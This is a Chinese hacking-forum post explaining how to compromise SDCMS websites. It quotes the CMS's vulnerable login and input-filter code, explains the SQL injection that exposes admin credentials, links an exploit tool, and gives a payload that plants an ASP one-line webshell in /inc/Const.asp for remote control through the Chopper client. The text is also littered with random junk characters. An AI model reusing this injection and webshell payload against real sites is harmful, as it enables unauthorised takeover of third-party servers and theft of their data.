找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3194|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
$ R1 f9 V1 ~' J# e1 q漏洞文件:后台目录/index.asp+ T; C, @8 d5 H, e' w% t- `6 Y
( p9 B; ]! Z& {: Y
Sub Check
* |) I& w: U1 l, [: G, v  m. S& t- r    Dim username,password,code,getcode,Rs
- r: Z- ~$ o8 k' `  q( L    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub" d4 S7 F- q& Y/ L
    username=FilterText(Trim(Request.Form("username")),1). R7 }. ], B9 O6 b$ c' z
    password=FilterText(Trim(Request.Form("password")),1)2 Q, J, j: S* ]* x' y. I2 E3 x# A: e
    code=Trim(Request.Form("yzm"))
' N5 K6 ^- V) L3 }" f! B    getcode=Session("SDCMSCode")
- v# U0 i, f! {; B" m    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
; H8 Y# i- P' M% O* C    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
1 d% F, r. \, G5 _3 C) q8 x    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied1 k8 m# |2 Z& B6 e' t& w. g
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied. f. p4 e9 ?# ^0 y. D3 ~
    IF username="" or password="" Then
# M: ^$ I+ G; \% O        Echo "用户名或密码不能为空"ied% o. R+ e- b4 c# u) a, y% n) r
    Else
- Y7 \0 x2 H2 d# [. o        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")% P3 k. c$ w, B
        IF Rs.Eof Then
2 v6 w5 A2 \$ |' t2 d- A            AddLog username,GetIp,"登录失败",1
& E0 E1 a9 ^, U7 s6 m+ l* r2 E            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
) U; `. a" |; _0 g% C! D: y2 i        Else5 Y$ A4 c. T" y4 K
            Add_Cookies "sdcms_id",Rs(0)$ e2 t7 \! @, D3 S
            Add_Cookies "sdcms_name",username
0 R4 O; J7 q; a' o            Add_Cookies "sdcms_pwd",Rs(2)* U3 b5 |8 H- ]
            Add_Cookies "sdcms_admin",Rs(3)
! c- L. E+ }6 N- j            Add_Cookies "sdcms_alllever",Rs(4)" ~* u9 V' w; Y, y7 A+ ?, k
            Add_Cookies "sdcms_infolever",Rs(5)
8 A+ [  _. v5 M1 @. `7 i) y            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- j0 A6 t& d+ n7 z3 C  G1 k7 d' Y            AddLog username,GetIp,"登录成功",1
/ r/ t% G% |" z9 D: x            '自动删除30天前的Log记录
* P0 `4 k9 p, Y& f0 ~- q1 n            IF Sdcms_DataType Then8 K$ z7 `  z  B$ b6 [. q+ x
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
* F; q  N: ~- \* }# k. O. U4 n            Else" z" Q! t" {7 o% O( Z1 R: \
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
0 F8 _' G- M; t6 L            End IF: A  ^2 G% C+ Y) v( u2 B
            Go("sdcms_index.asp")+ V/ V0 v6 d  p4 t* Q
        End IF* I6 b9 ]2 ^7 p/ ]1 h# w# J3 y4 A
        Rs.Close4 G7 B  a6 S! f7 \
        Set Rs=Nothing
' J( }/ X* G4 O) q    End IF" h/ i( z9 _( ?* t2 @% C2 u: }
End Sub
5 ?# G$ S+ k2 a! j) N4 d+ C" Y0 j3 P% e- D# R3 ^
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码; ]7 i2 L% o4 d1 o2 R  q
& m% ]# d. j1 b/ T" d3 P: [
Function FilterText(ByVal t0,ByVal t1)/ `, S8 \( u5 M$ S# \
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
8 r# G$ y6 C' E; p2 E    t0=Trim(t0)
( Y+ z' v0 e' h% p, m% x    Select Case t1' T& J0 _! ]5 J/ R8 S: V5 r
        Case "1". C0 z- @, F6 ~, e  u' i# J+ Y* r8 ^
            t0=Replace(t0,Chr(32),"")( v4 K' r& R' ~, t. m5 \
            t0=Replace(t0,Chr(13),"")5 M; s8 z: ^* D' R3 q/ h
            t0=Replace(t0,Chr(10)&Chr(10),"")6 N. `) _: M* c; m6 R
            t0=Replace(t0,Chr(10),"")
! D0 ~6 Y6 q5 A: [/ _0 A- q7 E        Case "2"
; P! o, e  N1 b7 o, s5 }            t0=Replace(t0,Chr(8),"")'回格0 a4 I( C1 i/ v* L) x0 ]
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
1 {* A4 X/ M, k) O: S" g6 f+ i            t0=Replace(t0,Chr(10),"")'换行
( u+ }# L# a. b, q" A- V* j2 H            t0=Replace(t0,Chr(11),"")'tab(垂直制表符), K. w* o9 E* q7 p, Q% m- R! D3 Z
            t0=Replace(t0,Chr(12),"")'换页
7 ^5 m( B1 l, g/ E            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合' F" {1 T! L# l; c6 j
            t0=Replace(t0,Chr(22),"")) X3 D+ H( S) a6 v
            t0=Replace(t0,Chr(32),"")'空格 SPACE9 Y' z6 m8 D! Q& D/ g( s6 `/ ?+ t
            t0=Replace(t0,Chr(33),"")'!- b# r, X. J# v5 t" l
            t0=Replace(t0,Chr(34),"")'"
) X& i$ R9 x3 l1 y& O; r4 @            t0=Replace(t0,Chr(35),"")'#8 n0 G$ Y% V: c! d$ M" k4 h2 w6 w6 N0 S
            t0=Replace(t0,Chr(36),"")'$: t1 ~4 Z/ u/ ]/ R; e7 F
            t0=Replace(t0,Chr(37),"")'%% g9 z3 L" y, b% W* ^$ U# x
            t0=Replace(t0,Chr(38),"")'&
$ F& W( ]5 j7 |; O( f; {            t0=Replace(t0,Chr(39),"")''/ n0 a" {' U0 y: Z
            t0=Replace(t0,Chr(40),"")'(9 I0 G: y/ E5 c$ L  u$ V" r. q# V
            t0=Replace(t0,Chr(41),"")'); k' _, z: \2 H
            t0=Replace(t0,Chr(42),"")'*
0 k  x, a$ Z* ?4 _9 Y6 ?2 l  z            t0=Replace(t0,Chr(43),"")'+* B/ Q' Y. g! h( p0 p9 d! h
            t0=Replace(t0,Chr(44),"")',
% H0 {4 C7 R- U% O            t0=Replace(t0,Chr(45),"")'-' g) m; W# D3 W3 R* f
            t0=Replace(t0,Chr(46),"")'.
: X. V/ d" ~8 P9 _  Z            t0=Replace(t0,Chr(47),"")'/
9 {$ B* [5 N; O4 ~( e* R            t0=Replace(t0,Chr(58),"")':1 V* W0 q' [3 b( |* H
            t0=Replace(t0,Chr(59),"")';
' d$ N$ M' M! E( \            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
. f5 d' h7 \3 F% o* R0 w7 Y- e            t0=Replace(t0,Chr(63),"")'?: c& D2 r# t5 t: h3 q( S$ b
            t0=Replace(t0,Chr(64),"")'@1 \+ C1 `! ^: ?  d* g& u0 W2 ~
            t0=Replace(t0,Chr(91),"")'\
9 Y. o& u, I$ H/ k+ T            t0=Replace(t0,Chr(92),"")'\4 _5 Z9 ~! f0 |" J) @
            t0=Replace(t0,Chr(93),"")']3 h; i9 r9 s0 p4 S4 L
            t0=Replace(t0,Chr(94),"")'^
3 X& v/ t; c, ?0 h% S3 x+ T. W            t0=Replace(t0,Chr(95),"")'_- j: ~' ~9 D2 u
            t0=Replace(t0,Chr(96),"")'`
' J7 _% r8 q4 `* R8 r+ j            t0=Replace(t0,Chr(123),"")'{2 T$ p4 l* p9 I5 m" @; C2 [* ^  A9 |
            t0=Replace(t0,Chr(124),"")'|
3 w9 o" M+ W$ |! R            t0=Replace(t0,Chr(125),"")'}* ^. J( R. D* u/ |
            t0=Replace(t0,Chr(126),"")'~
/ G; \: V& x! h8 u    Case Else
" Z; V) O$ k, S        t0=Replace(t0, "&", "&")- v) m, `# U6 p' J
        t0=Replace(t0, "'", "'")
; h7 L# l- q/ \' }, Z" O        t0=Replace(t0, """", """)2 @' k1 k. k. ?( `; C
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">"). Z% @3 k" A- _9 g, E9 o  @
    End Select
! m; m6 [" s; F, Z    IF Instr(Lcase(t0),"expression")>0 Then
) M+ O8 t& ]3 F9 L( H        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)* T5 r( m. W# Y( ~' T
    End If
" ]1 N- V, A+ D( Q9 u& z. J( d    FilterText=t0$ e+ M2 }; j9 D' A0 w
End Function- o* x2 E  h' X5 i& X( \+ x' D

8 ~% n2 A0 u  R8 I看到没。直接参数是1 只过滤
  M" a8 \. l6 `0 d3 {% K; b2 @, n                        t0=Replace(t0,Chr(32)," ")
) K$ W' Z- p9 q3 O0 w! E                        t0=Replace(t0,Chr(13),"")1 V" ]: w1 C$ F( m4 b1 q
                        t0=Replace(t0,Chr(10)&Chr(10),"
7 ^4 y7 o# o4 b- P) S. x")6 T) b3 K# L* L) `- d
                        t0=Replace(t0,Chr(10),"3 F3 `9 c; x) ?6 _. |( v# N9 Q7 k( a
")
7 M5 ^8 x- S# v% u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!9 {3 p1 I: v( G0 p, m
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
3 f# h& F3 r, u3 G( S# e
+ s! J+ h+ `- k+ L% z! c测试:3 J4 f% d2 `4 F) P. E/ ~6 F

, y2 g$ x; G: V3 {" R3 Q1 o3 n4 K# L* _! h/ ?  ^( G
现在输入工具上验证码,然后点OK. M% z. h" D) o6 d: P+ `, K
9 u0 N% t% G' A  H: J" ?) L! j# Y: R

$ l" N* r% s8 a6 F看到我们直接进入后台管理界面了,呵呵!
$ U* z. @4 ^0 y# L& x# M
3 a! V. U% h8 l4 ]0 Z
3 Z' d9 l4 p9 N( `' l6 _
! j2 s* z1 t# \% n' H& T; A5 p这样直接进入后台了。。。。! H, X4 J7 `: ~+ h" n1 B

: {" f8 m! E5 r4 r  _2 m. `8 m( ^$ N
0 ?6 W- G% v) i; H
$ b9 T4 j% l1 C& kSDCMS提权:
1 h5 _" A9 J$ f. @' v) s# z, ^$ I  o& S
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
2 T1 h3 B# F; l" A  _8 e( d
3 X8 [0 w! p' ]* Q; A1 I2 R0 M2 n
% ]5 z% J9 s  t; {
( f: e5 R& N/ w" M0 a/ oOK,现在用菜刀连接下!- N( z3 k  B2 _$ C8 F( o

! R/ K! M3 i- U* i: U
7 N, j  t! D' W- K- _7 G
# }0 Q4 t$ Q; ~6 `0 _& }
" n1 e. O0 ?$ H: I9 d0 G8 {/ M  \, x. c# O; A5 G3 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表